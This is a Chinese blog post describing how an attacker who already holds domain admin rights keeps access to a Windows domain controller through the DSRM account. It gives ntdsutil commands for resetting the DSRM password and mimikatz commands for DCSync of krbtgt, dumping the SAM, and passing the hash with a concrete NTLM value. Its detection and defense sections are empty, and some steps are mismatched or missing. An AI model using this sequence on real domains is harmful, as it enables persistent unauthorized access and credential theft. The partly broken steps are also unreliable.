0%

域渗透维权之DSRM

0x00前言

除了krbtgt账户外,DC上还有一个可以利用的账户:目录服务还原模式账户DSRM。本篇文章主要介绍攻击者在获取域管权限之后,利用DSRM来持久化权限的手法

0x01 简介

DSRM(directory service restore mode目录服务还原模式账户),是Windows域环境中域控制器的安全模式启动选项,每个域控中都有一个本地管理账户,就是DSRM账户,DSRM的作用是允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。

  • 每个域控上的本地管理员账户即目录服务还原模式账户(DSRM)
  • DSRM的密码在DC安装时设置,之后很少被修改,存储在SAM文件中
  • 其他域中密码包括administrator保存在NTDS.dit中,即使被修改对于SAM存储的密码也没影响
  • 修改DSRM的方法为在DC上运行ntdsutil
  • DSRM被修改,即域控的本地管理员的密码hash被修改
  • 但如果修改DC的本地管理员的密码hash,SAM数据库的hash并不会被改变,只会改变ntds.dit文件中的hash

​ 只要攻击者改变了DSRM账户的hash,就算此时应急改变DC管理员的密码,也可以继续利用pth哈希传递攻击。此攻击需要使用DC的ntdsutil来修改DSRM账户的密码。且需要修改DSRM的登录方式。因在windows server 2000及之后对DSRM使用控制台做出了限制。

命令集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
NTDSUTIL  //打开ntdsutil 
set dsrm password //设置DSRM密码
reset password on server null //在当前域控上恢复DSRM密码 <password> //修改密码,注意这里输入的是DSRM密码,而不是Administrator的密码
<password> //再次输入
q //退出DSRM密码设置模式
q //退出ntdsutil


mimikatz:
//获取krbtgt的账户密码
lsadump::dcsync /domain:wlaq.com /user:krbtgt
//获取SAM数据库的密码
token::elevate
lsadump::sam

0x02 测试

测试环境

IP 描述 系统
192.168.221.139 DC windows server 2019(x64)
192.168.221.140 域管/域成员 windows 10(x64)

攻击测试

修改DSRM密码之后,抓取的Administrator的SAM数据库中的NTLM-hash就变成了DSRM账户密码。

修改DSRM有两种方法

  1. ntdsutil通过明文密码指定

1
privilege::debug  sekurlsa::pth /user:Administrator /domain:wlaq.com /ntlm:F21AE66FBD82F5A624658BD1CBD0250E

在Windows server2019上注册表并未有以下项限制DSRM登录,故可更改DC上DSRM账户的明文密码

1
HKLM:\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior

0x04 检测

0x05 防御

总结

参考:

  1. https://docs.microsoft.com/zh-tw/sql/analytics-platform-system/set-admin-password-for-logging-on-to-ad-nodes-in-directory-services-restore-mode?view=aps-pdw-2016-au7
  2. https://www.at449.com/2020/04/27/2017/
  3. 笔误稍多,如NTLM写为NTML,但思路清晰:https://www.freebuf.com/articles/network/278999.html
你想在文章末尾对读者说的话